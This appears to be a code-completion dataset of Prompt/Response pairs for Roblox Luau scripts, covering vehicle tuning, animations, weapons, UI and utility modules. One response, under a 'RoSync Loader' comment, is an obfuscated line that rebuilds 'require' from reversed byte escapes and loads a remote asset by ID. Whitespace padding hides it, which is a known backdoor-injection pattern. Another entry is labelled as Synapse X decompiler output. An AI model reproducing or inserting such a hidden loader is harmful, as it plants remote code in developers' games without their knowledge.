	LastAttachment = Attach --Reference the last attachment point we made.

	Total = Total + 1

	--warn("Tagged " .. Hum.Parent.Name .. "!", "\n Pending damage: " .. Properties.LinkDamage * Total)

	Properties.Duration = 0 --Reset the duration for every time you've tagged a person.

end

Handle.Touched:Connect(Link)
local Canceled = false

while Properties.Duration < Properties.MaxDuration and not Canceled do
	local delta = RunService.Heartbeat:Wait()
	Properties.Duration = Properties.Duration + delta
	DurationValue.Value = Properties.Duration
	--print(Properties.Duration)
end


Prompt: --Right lean

Response:
XR15RightLegRightLean = -.5
YR15RightLegRightLean = -.35
ZR15RightLegRightLean = -.55
R15RightKneeRightLean = .1

XR15RightArmRightLean = .5
YR15RightArmRightLean = .5
ZR15RightArmRightLean = .72
R15RightElbowRightLean = 1.2

XR15LeftLegRightLean = -0
YR15LeftLegRightLean = .2
ZR15LeftLegRightLean = -.3
R15LeftKneeRightLean = .3

XR15LeftArmRightLean = -.5
YR15LeftArmRightLean = .3
ZR15LeftArmRightLean = -.2
R15LeftElbowRightLean = .2

XR15LowerTorsoRightLean = -.3
YR15LowerTorsoRightLean = .3
ZR15LowerTorsoRightLean = 0.1
ZR15UpperTorsoRightLean = .2


Prompt: --[[Wheel Alignment]]

Response:
	--[Don't physically apply alignment to wheels]
	--[Values are in degrees]
	Tune.FCamber		= -5
	Tune.RCamber		= -5
	Tune.FCaster        = 0
	Tune.FToe			= 0
	Tune.RToe			= 0


Prompt:
--while configuracao.EnableMedSys do
--	if ACS_Client:GetAttribute("Bleeding") then
--		if ACS_Client:GetAttribute("Tourniquet")then
--			Sang.Value = (Sang.Value - 0.5)
--		else
--			Sang.Value = (Sang.Value - (MLs.Value/120))
--			MLs.Value =  math.max(0,MLs.Value + 0.025)
--		end
--	end


Prompt:
-- K is a tunable parameter that changes the shape of the S-curve
-- the larger K is the more straight/linear the curve gets

Response:
local k = 0.35
local lowerK = 0.8
local function SCurveTranform(t: number)
	t = math.clamp(t, -1, 1)
	if t >= 0 then
		return (k*t) / (k - t + 1)
	end
	return -((lowerK*-t) / (lowerK + t + 1))
end

local DEADZONE = 0.1
local function toSCurveSpace(t: number)
	return (1 + DEADZONE) * (2*math.abs(t) - 1) - DEADZONE
end

local function fromSCurveSpace(t: number)
	return t/2 + 0.5
end

function CameraUtils.GamepadLinearToCurve(thumbstickPosition: Vector2)
	local function onAxis(axisValue)
		local sign = 1
		if axisValue < 0 then
			sign = -1
		end
		local point = fromSCurveSpace(SCurveTranform(toSCurveSpace(math.abs(axisValue))))
		point = point * sign
		return math.clamp(point, -1, 1)
	end
	return Vector2.new(onAxis(thumbstickPosition.x), onAxis(thumbstickPosition.y))
end


Prompt:
------------------------------------------------------------------------
-- make header (from lundump.c)
-- returns the header string
------------------------------------------------------------------------

Response:
function luaU:header()
 local x = 1
 return self.LUA_SIGNATURE..
        string.char(
          self.LUAC_VERSION,
          self.LUAC_FORMAT,
          x,                    -- endianness (1=little)
          4,                    -- sizeof(int)
          4,                    -- sizeof(size_t)
          4,                    -- sizeof(Instruction)
          8,                    -- sizeof(lua_Number)
          0)                    -- is lua_Number integral?
end


Prompt: --------------------[ ANIMATION FUNCTIONS ]-------------------------------------------

Response:
function Animate()
	spawn(function()
		local T = createL(HUD)

		local baseStr = ""
		local formatStr = "%s"
		for _, Byte in pairs(ASCII) do
			local Char = string.char(Byte)
			baseStr = baseStr..Char
		end
		local newStr = string.format(formatStr, baseStr)
		T.Text = newStr
	end)

	local Increment = 90 / 0.4--1.5 / 0.4
	local runAlpha = 0
	local currentlyCrawling = false
	local crawlTween = false
	INSERT(Connections, RS.RenderStepped:connect(function(dt)
		--Movement Variable updating
		isCrawling = (Stance == 2 and onGround and S.stanceSettings.crawlAnimation) and ((not Idling) and Walking) or false
		isIdling = (((not onGround) and S.stopAnimsOnFall) and true or (Idling and (not Walking))) and (not Knifing) and (not isCrawling)
		isWalking = (not Idling) and Walking and (not Running) and (not Knifing)  and ((not S.stopAnimsOnFall) and true or onGround) and (not isCrawling)
		isRunning = (not Idling) and Walking and Running and (not Knifing) and ((not S.stopAnimsOnFall) and true or onGround) and (not isCrawling)

		crawlAlpha = math.min(math.max(crawlAlpha + (isCrawling and Increment or -Increment) * dt, 0), 90)
		idleAlpha = math.min(math.max(idleAlpha + (isIdling and Increment or -Increment) * dt, 0), 90)
		walkAlpha = math.min(math.max(walkAlpha + (isWalking and Increment or -Increment) * dt, 0), 90)
		runAlpha = math.min(math.max(runAlpha + (isRunning and Increment or -Increment) * dt, 0), 90)

		local posHip = (
			Sine(idleAlpha) * (Anims.Idling["unAimed"](Anim.Ang)).Pos
		) + (
			Sine(walkAlpha) * (Anims.Walking["unAimed"](Anim.Ang)).Pos
		) + (
			Sine(runAlpha) * (Anims.Running(Anim.Ang)).Pos
		)
		local rotHip = (
			Sine(idleAlpha) * (Anims.Idling["unAimed"](Anim.Ang)).Rot
		) + (
			Sine(walkAlpha) * (Anims.Walking["unAimed"](Anim.Ang)).Rot
		) + (
			Sine(runAlpha) * (Anims.Running(Anim.Ang)).Rot
		)
		local posAim = (
			Sine(idleAlpha) * (Anims.Idling["Aimed"](Anim.Ang)).Pos
		) + (
			Sine(walkAlpha) * (Anims.Walking["Aimed"](Anim.Ang)).Pos
		) + (
			Sine(runAlpha) * (Anims.Running(Anim.Ang)).Pos
		)
		local rotAim = (
			Sine(idleAlpha) * (Anims.Idling["Aimed"](Anim.Ang)).Rot
		) + (
			Sine(walkAlpha) * (Anims.Walking["Aimed"](Anim.Ang)).Rot
		) + (
			Sine(runAlpha) * (Anims.Running(Anim.Ang)).Rot
		)

		Anim.Pos = (1 - aimAlpha) * posHip + aimAlpha * posAim
		Anim.Rot = (1 - aimAlpha) * rotHip + aimAlpha * rotAim

		Anim.Ang = Anim.Ang + RAD(105 * dt) * stanceSway

		--Gun Momentum updating
		gunMomentum.t = V3(desiredXOffset, desiredYOffset, 0)
		local newGunMomentum = gunMomentum.p
		currentXOffset = newGunMomentum.X / S.momentumSettings.maxInput
		currentYOffset = newGunMomentum.Y / S.momentumSettings.maxInput

		--Recoil spring updating
		gunRecoilSpring.t = recoilAnim.Rot
		camRecoilSpring.t = camOffsets.Recoil.Rot

		--Cross spring updating
		if Aimed then
			crossSpring.t = V3(-2, 0, 0)
		else
			crossSpring.t = V3(crossOffset + (baseSpread + currentSpread) * 50, 0, 0)
		end
		local newS = crossSpring.p.X
		crossA.Position = UDim2.new(0.5, -1, 1, -newS / 2)
		crossB.Position = UDim2.new(0, newS / 2 - 15, 0.5, -1)
		crossC.Position = UDim2.new(0.5, -1, 0, newS / 2 - 15)
		crossD.Position = UDim2.new(1, -newS / 2, 0.5, -1)

		--Orientation updating
		local finalCamOffset = getTotalCamOffset()
		headWeld.C1 = CFANG(-camAng.y - finalCamOffset.Y, 0, 0)
		if (not Humanoid.Sit) then
			HRP.CFrame = CF(HRP.Position) * CFANG(0, camAng.x + finalCamOffset.X, 0)
		end

		--Walkspeed updating
		if Running then
			Humanoid.WalkSpeed = S.walkSpeeds.Sprinting
		else
			local SpeedRatio = S.walkSpeeds.Aimed / S.walkSpeeds.Base
			if Stance == 0 then
				Humanoid.WalkSpeed = (Aimed and S.walkSpeeds.Aimed or S.walkSpeeds.Base)
			elseif Stance == 1 then
				Humanoid.WalkSpeed = (Aimed and S.walkSpeeds.Crouched * SpeedRatio or S.walkSpeeds.Crouched)
			elseif Stance == 2 then
				Humanoid.WalkSpeed = (Aimed and S.walkSpeeds.Prone * SpeedRatio or S.walkSpeeds.Prone)
			end
		end
	end))

	local crawlAng = 0
	while Selected do
		if isCrawling then
			breakReload = (Reloading and true or breakReload)
			if Aimed then unAimGun(true) end
			local tempCrawlAnim = Anims.Crawling(crawlAng, moveAng)
			spawn(function()
				local startCamRot = crawlCamRot
				local startLLegCF = LLegWeld.C1
				local startRLegCF = RLegWeld.C1
				local t0 = tick()
				while true do
					RS.Heartbeat:wait()
					local Alpha = math.min((tick() - t0) / 0.3, 1) * 90
					if (not isCrawling) then break end
					if (not Selected) then break end
					crawlCamRot = numLerp(startCamRot, tempCrawlAnim.Camera, Sine(Alpha))
					LLegWeld.C1 = startLLegCF:lerp(tempCrawlAnim.leftLeg, Linear(Alpha))
					RLegWeld.C1 = startRLegCF:lerp(tempCrawlAnim.rightLeg, Linear(Alpha))
					if Alpha == 90 then break end
				end
			end)
			tweenJoint(LWeld, nil, tempCrawlAnim.leftArm, Linear, 0.3)
			tweenJoint(RWeld, nil, tempCrawlAnim.rightArm, Linear, 0.3)
			tweenJoint(Grip, nil, tempCrawlAnim.Grip, Linear, 0.3)
			lowerSpread()
			local t0 = tick()
			while true do
				local dt = RS.Heartbeat:wait()
				if (not Selected) then break end
				if (not isCrawling) then break end
				if (tick() - t0) >= 0.3 then
					local crawlAnim = Anims.Crawling(crawlAng, moveAng)
					LWeld.C1 = crawlAnim.leftArm
					RWeld.C1 = crawlAnim.rightArm
					LLegWeld.C1 = crawlAnim.leftLeg
					RLegWeld.C1 = crawlAnim.rightLeg
					Grip.C1 = crawlAnim.Grip
					crawlCamRot = crawlAnim.Camera
					crawlAng = crawlAng + 0.5 * RAD(105 * dt) * (HRP.Velocity * V3(1, 0, 1)).magnitude / 3
				end
			end
		else
			crawlAng = 0
			if (not equipAnimPlaying) then
				spawn(function()
					local startCamRot = crawlCamRot
					local startLLegCF = LLegWeld.C1
					local startRLegCF = RLegWeld.C1
					local t0 = tick()
					while true do
						RS.RenderStepped:wait()
						local Alpha = math.min((tick() - t0) / 0.3, 1) * 90
						if isCrawling then break end
						if (not Selected) then break end
						crawlCamRot = numLerp(startCamRot, 0, Sine(Alpha))
						LLegWeld.C1 = startLLegCF:lerp(CF(), Linear(Alpha))
						RLegWeld.C1 = startRLegCF:lerp(CF(), Linear(Alpha))
						if Alpha == 90 then break end
					end
				end)
				if (not isRunning) then
					tweenJoint(LWeld, nil, S.unAimedC1.leftArm, Sine, 0.3)
					tweenJoint(RWeld, nil, S.unAimedC1.rightArm, Sine, 0.3)
					tweenJoint(Grip, nil, S.unAimedC1.Grip, Sine, 0.3)
				end
			end
			while true do
				if (not Selected) then break end
				if isCrawling then break end
				RS.RenderStepped:wait()
			end
		end
		wait()
	end
end

function getAnimCF()
	return 	CF(aimHeadOffset, 0, 0) * CFANG(
		jumpAnim.Rot * COS(camAng.Y) * jumpAnimMultiplier + (-RAD(currentYOffset) * rotationMultiplier + gunRecoilSpring.p.X + Anim.Rot.X) * stanceSway,
		(-RAD(currentXOffset) * rotationMultiplier + gunRecoilSpring.p.Y + Anim.Rot.Y) * stanceSway,
		(RAD(currentXOffset) * rotationMultiplier + RAD(armTilt) * armTiltMultiplier + gunRecoilSpring.p.Z + Anim.Rot.Z) * stanceSway
	) * CF(
		(Anim.Pos.X + recoilAnim.Pos.X) * stanceSway,
		jumpAnim.Pos * COS(camAng.Y) * jumpAnimMultiplier + (Anim.Pos.Y + recoilAnim.Pos.Y) * stanceSway,
		-jumpAnim.Pos * SIN(camAng.Y) * jumpAnimMultiplier + (Anim.Pos.Z + recoilAnim.Pos.Z) * stanceSway
	), CFANG(-camAng.Y * crawlAlpha / 90, 0, 0) * CF(aimHeadOffset, -1, 0)
end


Prompt: -- Get the total component count

Response: local TotalCount = (Indicator:WaitForChild 'ComponentCount').Value;


Prompt: --[[Weight and CG]]

Response:
	Tune.Weight			= 6000 		-- Total weight (in pounds)
	Tune.WeightBSize	= {			-- Size of weight brick (dimmensions in studs ; larger = more stable)
	 --[[Width]]		5		,
	 --[[Height]]		8		,
	 --[[Length]]		17		}
	Tune.WeightDist		= 60		-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
	Tune.CGHeight		= .8		-- Center of gravity height (studs relative to median of all wheels)
	Tune.WBVisible		= false		-- Makes the weight brick visible

	--Unsprung Weight
	Tune.FWheelDensity	= .1		-- Front Wheel Density
	Tune.RWheelDensity	= .1		-- Rear Wheel Density
	Tune.FWLgcyDensity	= 1			-- Front Wheel Density [PGS OFF]
	Tune.RWLgcyDensity	= 1			-- Rear Wheel Density [PGS OFF]

	Tune.AxleSize		= 2			-- Size of structural members (larger = more stable/carry more weight)
	Tune.AxleDensity	= .1		-- Density of structural members


Response:
function onRunning(speed)
	if speed>0 then
		playAnimation("walk", 0.1, Humanoid)
		pose = "Running"
	else
		playAnimation("idle", 0.1, Humanoid)
		pose = "Standing"
	end
end

function onDied()
	pose = "Dead"
end

function onJumping()
	playAnimation("jump", 0.1, Humanoid)
	jumpAnimTime = jumpAnimDuration
	pose = "Jumping"
end

function onClimbing(speed)
	playAnimation("climb", 0.1, Humanoid)
	setAnimationSpeed(speed / 12.0)
	pose = "Climbing"
end

function onGettingUp()
	pose = "GettingUp"
end

function onFreeFall()
	if (jumpAnimTime <= 0) then
		playAnimation("fall", fallTransitionTime, Humanoid)
	end
	pose = "FreeFall"
end

function onFallingDown()
	pose = "FallingDown"
end

function onSeated()
	pose = "Seated"
end

function onPlatformStanding()
	pose = "PlatformStanding"
end

function onSwimming(speed)
	if speed>0 then
		pose = "Running"
	else
		pose = "Standing"
	end
end

function getTool()
	for _, kid in ipairs(Figure:GetChildren()) do
		if kid:IsA("Tool") then return kid end
	end
	return nil
end

function getToolAnim(tool)
	for _, c in ipairs(tool:GetChildren()) do
		if c.Name == "toolanim" and c:IsA("StringValue") then
			return c
		end
	end
	return nil
end

function animateTool()
	if (toolAnim == "None") then
		playToolAnimation("toolnone", toolTransitionTime, Humanoid)
		return
	end
	if (toolAnim == "Slash") then
		playToolAnimation("toolslash", 0, Humanoid)
		return
	end
	if (toolAnim == "Lunge") then
		playToolAnimation("toollunge", 0, Humanoid)
		return
	end
end

function moveSit()
	RightShoulder.MaxVelocity = 0.15
	LeftShoulder.MaxVelocity = 0.15
	RightShoulder:SetDesiredAngle(3.14 /2)
	LeftShoulder:SetDesiredAngle(-3.14 /2)
	RightHip:SetDesiredAngle(3.14 /2)
	LeftHip:SetDesiredAngle(-3.14 /2)
end

local lastTick = 0

function move(time)
	local amplitude = 1
	local frequency = 1
  	local deltaTime = time - lastTick
  	lastTick = time
	local climbFudge = 0
	local setAngles = false
  	if (jumpAnimTime > 0) then
  		jumpAnimTime = jumpAnimTime - deltaTime
  	end
	if (pose == "FreeFall" and jumpAnimTime <= 0) then
		playAnimation("fall", fallTransitionTime, Humanoid)
	elseif (pose == "Seated") then
		stopAllAnimations()
		moveSit()
		return
	elseif (pose == "Running") then
		playAnimation("walk", 0.1, Humanoid)
	elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then


Prompt: -- Libraries

Response:
local Support = require(Libraries:WaitForChild 'SupportLibrary')
local Roact = require(Vendor:WaitForChild 'Roact')
local Maid = require(Libraries:WaitForChild 'Maid')
local Signal = require(Libraries:WaitForChild 'Signal')


Prompt: --Expanding Blood Parts Function

Response:
local expandBlood = function(part)

	local randomIncrement = math.random(5, 10) / 10

	local tween = tweenSize(part, 5, Enum.EasingDirection.Out,
		Vector3.new(part.Size.X + randomIncrement, 0.1, part.Size.Z + randomIncrement)
	)

	spawn(function()
		tween.Completed:Wait()
		tween:Destroy()
	end)
end


Prompt: --[[ Last synced 7/9/2021 08:31                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[                                                                                ]]--


Prompt: -- задаём размер кнопки

Response:
me=script.Parent
tmp=me.AbsoluteSize.X
me.Size=UDim2.new(0,tmp,0,tmp)


Prompt:
-- This script provides one aspect of support for older maps that use EventScript
-- by providing a module in a location where those older maps expect it.
--
-- ForbiddenJ

Response:
local WaterLib = require(game.ReplicatedStorage.WaterLib)

local mod = {}

function mod.moveWater(water, move, dur, isLocalSpace)
	return WaterLib.MoveWater(water, move, dur, isLocalSpace)
end
function mod.setWaterState(water, state)
	return WaterLib.SetWaterState(water, state)
end

return mod


Prompt:
--[[
	A version of Component with a `shouldUpdate` method that forces the
	resulting component to be pure.
]]

Response:
local Component = require(script.Parent.Component)

local PureComponent = Component:extend("PureComponent")


Prompt: -- Don't set this above 1, it will cause glitchy behaviour.

Response:
local UpdateSpeed = 0.1 -- How fast the body will rotates.
local UpdateDelay = 0.05 -- How fast the heartbeat will update.


Prompt: -- Local Functions

Response:
local function onCharacterAdded(character)
	wait(1) -- You want to wait for the Animate script to load and run

	local humanoid = character:WaitForChild("Humanoid")
	for _, playingTracks in pairs(humanoid:GetPlayingAnimationTracks()) do
		playingTracks:Stop(0)
	end

	local animateScript = character:WaitForChild("Animate")

	for _, anim in ipairs(replacementAnimations) do
		if not anim.isLoaded then continue end

		local animations = animateScript:WaitForChild(anim.name):GetChildren()
		-- Overwrite the IDs of all idle animation instances
		for _, animVariant in ipairs(animations) do
			animVariant.AnimationId = anim.id

			-- If you really want to prevent the animations from being changed by something else you could do this too
			animVariant:GetPropertyChangedSignal("AnimationId"):Connect(function()
				animVariant.AnimationId = anim.id
			end)
		end
	end

	-- Stop all currently playing animation tracks on the player
	for _, playingAnimation in pairs(humanoid:GetPlayingAnimationTracks()) do
		playingAnimation:Stop()
		playingAnimation:Destroy()
	end
end

local function onPlayerAdded(player)
	--Only run this code if an animation actually is loaded in.
	local character = player.Character or player.CharacterAdded:wait()
	onCharacterAdded(character)
end


Prompt: --		print("Keyframe : ".. frameName)

Response:
		local repeatAnim = currentAnim
		-- return to idle if finishing an emote
		if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then
			repeatAnim = "idle"
		end

		local animSpeed = currentAnimSpeed
		playAnimation(repeatAnim, 0.15, Enemy)
		setAnimationSpeed(animSpeed)
	end
end


Prompt: --Turbos

Response:
local PSI = 5
local Turbos = "Single" -- "Twin","Single"
local TurboSize = "Medium" -- "Small","Medium","Large"
local TwoStep = true
local Valve = "BOV" -- "BOV","Bleed"


Prompt: -- Teleport.lua, inside your commands folder as defined above.

Response:
return {
	Name = "teleport";
	Aliases = {"tp"};
	Description = "Teleports a player or set of players to one target.";
	Group = "Admin";
	Args = {
		{
			Type = "players";
			Name = "from";
			Description = "The players to teleport";
		},
		{
			Type = "player";
			Name = "to";
			Description = "The player to teleport to"
		}
	};
}


Prompt:
--- Returns a new Maid object
-- @constructor Maid.new()
-- @treturn Maid

Response:
function Maid.new()
	return setmetatable({
		_tasks = {}
	}, Maid)
end

function Maid.isMaid(value)
	return type(value) == "table" and value.ClassName == "Maid"
end


Prompt: -- << LOCAL FUNCTIONS >>

Response:
local function setupOriginalZIndex(frame, forceOnTop)
	for a,b in pairs(frame:GetDescendants()) do
		if b:IsA("GuiObject") and b:FindFirstChild("OriginalZIndex") == nil then
			local iValue = Instance.new("IntValue")
			iValue.Name = "OriginalZIndex"
			local zValue = b.ZIndex
			if forceOnTop then
				zValue = zValue + 10000
			end
			iValue.Value = zValue
			iValue.Parent = b
		end
	end
end
local function updateZIndex(list, specificFrame)
	for i,v in pairs(main.commandMenus) do
		for a,b in pairs(v:GetDescendants()) do
			if b:IsA("GuiObject") then
				if b:FindFirstChild("OriginalZIndex") and (not specificFrame or v == specificFrame) then
					b.ZIndex = b.OriginalZIndex.Value + ((i-1)*10) - 1000
				end
			end
		end
	end
end


Prompt: -------- OMG HAX

Response:
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")

Players = game:GetService("Players")
Debris = game:GetService("Debris")
RunService = game:GetService("RunService")

black = BrickColor.new("Really black")

DamageValues = {
	BaseDamage = 5,
	SlashDamage = 11,
	LungeDamage = 22
}

Damage = DamageValues.BaseDamage

Sounds = {
	Slash = Handle:WaitForChild("SwordSlash"),
	Lunge = Handle:WaitForChild("SwordLunge"),
	Unsheath = Handle:WaitForChild("Unsheath")
}

Animations = {
	Slash = Tool:WaitForChild("Slash")
}

ClientControl = (Tool:FindFirstChild("ClientControl") or Instance.new("RemoteFunction"))
ClientControl.Name = "ClientControl"
ClientControl.Parent = Tool

function InvokeClient(Mode, Value)
	pcall(function()
		ClientControl:InvokeClient(Player, Mode, Value)
	end)
end

function TagHumanoid(humanoid, player)
	local Creator_Tag = Instance.new("ObjectValue")
	Creator_Tag.Name = "creator"
	Creator_Tag.Value = player
	Debris:AddItem(Creator_Tag, 2)
	Creator_Tag.Parent = humanoid
end

function UntagHumanoid(humanoid)
	for i, v in pairs(humanoid:GetChildren()) do
		if v:IsA("ObjectValue") and v.Name == "creator" then
			v:Destroy()
		end
	end
end

function Blow(Hit)
	if not Hit or not Hit.Parent or not Character or not Humanoid or Humanoid.Health == 0 then
		return
	end
	local humanoid = Hit.Parent:FindFirstChild("Humanoid")
	if humanoid and humanoid ~= Humanoid and humanoid.Health > 0 then
		local RightArm = Character:FindFirstChild("Right Arm")
		if not RightArm then
			return
		end
		local player = game.Players:FindFirstChild(Hit.Parent.Name)
		local myteam = Player.TeamColor
		local theirteam = player.TeamColor
		local RightGrip = RightArm:FindFirstChild("RightGrip")
		if (RightGrip and (RightGrip.Part0 == Handle or RightGrip.Part1 == Handle)) then
			if player and player ~= Player and not Player.Neutral and not player.Neutral and (myteam ~= theirteam or (myteam == black and theirteam == black)) then
				UntagHumanoid(humanoid)
				TagHumanoid(humanoid, Player)
				humanoid:TakeDamage(Damage)
			end
		end
	end
end

function Attack()
	Damage = DamageValues.SlashDamage
	Sounds.Slash:Play()
	InvokeClient("PlayAnimation", {Animation = Animations.Slash, Speed = 1.5})
end

function Lunge()
	Damage = DamageValues.LungeDamage

	Sounds.Lunge:Play()

	local Anim = Instance.new("StringValue")
	Anim.Name = "toolanim"
	Anim.Value = "Lunge"
	Anim.Parent = Tool

	local Force = Instance.new("BodyVelocity")
	if Torso and Torso.Parent then
		Force.velocity = Vector3.new(0, 100, 0)
		Force.maxForce = Vector3.new(0, 4000, 0)
		Debris:AddItem(Force, 0.5)
		Force.Parent = Torso
	end

	wait(0.25)

	if Torso and Torso.Parent then
		Force.velocity = (Torso.CFrame.lookVector * 120)  + Vector3.new(0, 60, 0)
	end

	wait(0.5)

	if Force and Force.Parent then
		Force:Destroy()
	end

	wait(0.5)

	Damage = DamageValues.SlashDamage
end

Tool.Enabled = true
LastAttack = 0

function Activated()

	if not Tool.Enabled then
		return
	end

	Tool.Enabled = false

	Tick = RunService.Stepped:wait()

	if (Tick - LastAttack < 0.2) then
		Lunge()
	else
		Attack()
	end

	LastAttack = Tick

	--wait(0.5)

	Tool.Enabled = true
end

function Equipped()
	Character = Tool.Parent
	Player = Players:GetPlayerFromCharacter(Character)
	Humanoid = Character:FindFirstChild("Humanoid")
	Torso = Character:FindFirstChild("Torso")
	if not Player or not Humanoid or Humanoid.Health == 0 or not Torso then
		return
	end
	Sounds.Unsheath:Play()
end

function Unequipped()
end

Tool.Activated:connect(Activated)
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)

Connection = Handle.Touched:connect(Blow)


Prompt:
--[[

	VectorUtil.ClampMagnitude(vector, maxMagnitude)
	VectorUtil.AngleBetween(vector1, vector2)
	VectorUtil.AngleBetweenSigned(vector1, vector2, axisVector)

	EXAMPLES:

		ClampMagnitude:

			Clamps the magnitude of a vector so it is only a certain length.

			ClampMagnitude(Vector3.new(100, 0, 0), 15) == Vector3.new(15, 0, 0)
			ClampMagnitude(Vector3.new(10, 0, 0), 20)  == Vector3.new(10, 0, 0)

		AngleBetween:

			Finds the angle (in radians) between two vectors.

			v1 = Vector3.new(10, 0, 0)
			v2 = Vector3.new(0, 10, 0)
			AngleBetween(v1, v2) == math.rad(90)

		AngleBetweenSigned:

			Same as AngleBetween, but returns a signed value.

			v1 = Vector3.new(10, 0, 0)
			v2 = Vector3.new(0, 0, -10)
			axis = Vector3.new(0, 1, 0)
			AngleBetweenSigned(v1, v2, axis) == math.rad(90)

--]]

Response:
local VectorUtil = {}

function VectorUtil.ClampMagnitude(vector, maxMagnitude)
	return (vector.Magnitude > maxMagnitude and (vector.Unit * maxMagnitude) or vector)
end

function VectorUtil.AngleBetween(vector1, vector2)
	return math.acos(math.clamp(vector1.Unit:Dot(vector2.Unit), -1, 1))
end

function VectorUtil.AngleBetweenSigned(vector1, vector2, axisVector)
	local angle = VectorUtil.AngleBetween(vector1, vector2)
	return angle * math.sign(axisVector:Dot(vector1:Cross(vector2)))
end

function VectorUtil.SquaredMagnitude(vector)
	return vector.X^2+vector.Y^2+vector.Z^2
end

return VectorUtil


Prompt: --[[Drivetrain Initialize]]

Response:
	local Front = bike.FrontSection
	local Rear = bike.RearSection

	--Determine Wheel Size
	local wDia = 0
	wDia = Rear.Wheel.Size.Y

	--Pre-Toggled PBrake
	if math.abs(Front.Axle.HingeConstraint.MotorMaxTorque-PBrakeForce)<1 then _PBrake=true end


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
return {
	Coins = {
		canDrop = true,
		dropWeight = 75,
		isUnique = false,
		tiers = { {
				title = "Coins I",
				desc = "Pet earns +15% more Regular Coins",
				value = 1.15
			}, {
				title = "Coins II",
				desc = "Pet earns +30% more Regular Coins",
				value = 1.3
			}, {
				title = "Coins III",
				desc = "Pet earns +50% more Regular Coins",
				value = 1.5
			}, {
				title = "Coins IV",
				desc = "Pet earns +75% more Regular Coins",
				value = 1.75
			}, {
				title = "Coins V",
				desc = "Pet earns +100% more Regular Coins",
				value = 2
			} }
	}
};


Prompt:
--for _, item in ipairs(Shield:GetChildren()) do
--	if item:IsA("BasePart") == true and item:FindFirstChild("Ignore") == nil then
--		item.Touched:connect(function(Hit)
--			if Hit == nil then return end
--			if Hit.Parent == nil then return end
--
--			local Item = Hit.Parent
--
--			if Item:IsA("Tool") == true then return end
--			if Hit.Name == "Torso" then return end
--			if Hit.Name == "HumanoidRootPart" then return end
--			if Hit.Name == "Left Leg" then return end
--			if Hit.Name == "Right Leg" then return end
--			if Hit.Name == "Head" then return end
--			if Hit.Name == "Left Arm" then return end
--			if Hit.Name == "Right Arm" then return end
--
--			if Game:GetService("Players"):GetPlayerFromCharacter(Item) ~= nil then return end
--
--			for _, x in ipairs(Hit:GetChildren()) do
--				if x:IsA("TouchTransmitter") == true then x:Destroy() break end
--			end
--
--			if Item.Name == "ShadowGrab" then
--				Health = Health - (MaxHealth / 12)
--
--				HealthBar.Shield.Bar:TweenSize(UDim2.new((Health / MaxHealth), 0, 1, 0), Enum.EasingDirection.In, Enum.EasingStyle.Linear, 0.5, true)
--
--				Item:Destroy()
--
--				if Health > 0 then
--					-- yay, still alive.
--				else
--					HealthBar.Parent.Parent:Destroy()
--				end
--			end
--		end)
--	end
--end

Response:
function CreateRegion3FromLocAndSize(Position, Size)
	local SizeOffset = Size / 2
	local Point1 = Position - SizeOffset
	local Point2 = Position + SizeOffset
	return Region3.new(Point1, Point2)
end

function FindNear(part, radius)
	local r = CreateRegion3FromLocAndSize(part.Position, Vector3.new(part.Size.X + radius, 50, part.Size.Z + radius))

	return Game:GetService("Workspace"):FindPartsInRegion3(r, part, 100)
end

while true do
	for _, x in ipairs(Shield:GetChildren()) do
		if x:IsA("BasePart") == true and x.Name ~= "Overhead" and x:FindFirstChild("Ignore") == nil then
			for _, item in ipairs(FindNear(x, 15)) do
				if item:IsA("BasePart") == true then
					local own, dmg = GetOwnerAndDamage(item)

					if own ~= nil and dmg ~= nil and item:FindFirstChild("Pierce") == nil then
						if (item.Position - x.Position).magnitude <= 15 and item ~= x then
							if Health > 0 then
								if Health >= dmg then
									Health = Health - dmg

									HealthBar.Shield.Bar:TweenSize(UDim2.new((Health / MaxHealth), 0, 1, 0), Enum.EasingDirection.In, Enum.EasingStyle.Linear, 0.5, true)

									for _, b in ipairs(item:GetChildren()) do
										if b:IsA("TouchTransmitter") == true then b:Destroy() end
									end

									item:Destroy()

									if Health > 0 then
										-- yay, still alive.
									else
										HealthBar.Parent.Parent:Destroy()
									end
								else
									HealthBar.Parent.Parent:Destroy()
								end
							else
								HealthBar.Parent.Parent:Destroy()
							end
						end
					end
				end
			end

		end
	end

	Game:GetService("RunService").Stepped:wait()
end


Prompt:
--[=[
	@param instance Instance
	@return Promise
]=]

Response:
function PromiseInstanceUtils.promiseRemoved(instance)
	assert(instance:IsDescendantOf(game))

	local maid = Maid.new()

	local promise = Promise.new()

	maid:GiveTask(instance.AncestryChanged:Connect(function(_, parent)
		if not parent then
			promise:Resolve()
		end
	end))

	promise:Finally(function()
		maid:DoCleaning()
	end)

	return promise
end

return PromiseInstanceUtils


Prompt:
-- Trove
-- Stephen Leitnick
-- October 16, 2021

Response:
local FN_MARKER = newproxy()
local THREAD_MARKER = newproxy()

local RunService = game:GetService("RunService")

local function GetObjectCleanupFunction(object, cleanupMethod)
	local t = typeof(object)
	if t == "function" then
		return FN_MARKER
	elseif t == "thread" then
		return THREAD_MARKER
	end
	if cleanupMethod then
		return cleanupMethod
	end
	if t == "Instance" then
		return "Destroy"
	elseif t == "RBXScriptConnection" then
		return "Disconnect"
	elseif t == "table" then
		if typeof(object.Destroy) == "function" then
			return "Destroy"
		elseif typeof(object.Disconnect) == "function" then
			return "Disconnect"
		end
	end
	error("Failed to get cleanup function for object " .. t .. ": " .. tostring(object), 3)
end

local function AssertPromiseLike(object)
	if
		type(object) ~= "table"
		or type(object.getStatus) ~= "function"
		or type(object.finally) ~= "function"
		or type(object.cancel) ~= "function"
	then
		error("Did not receive a Promise as an argument", 3)
	end
end


Prompt:
-- ================================================================================
-- EVENTS
-- ================================================================================

Response:
local onRaceStartedEvent = Instance.new("BindableEvent")
RaceModule.RaceStarted = onRaceStartedEvent.Event

local onRaceFinishedEvent = Instance.new("BindableEvent")
RaceModule.RaceFinished = onRaceFinishedEvent.Event
RaceModule.OnRaceFinishedEvent = onRaceFinishedEvent

local onLapStartedEvent = Instance.new("BindableEvent")
RaceModule.LapStarted = onLapStartedEvent.Event

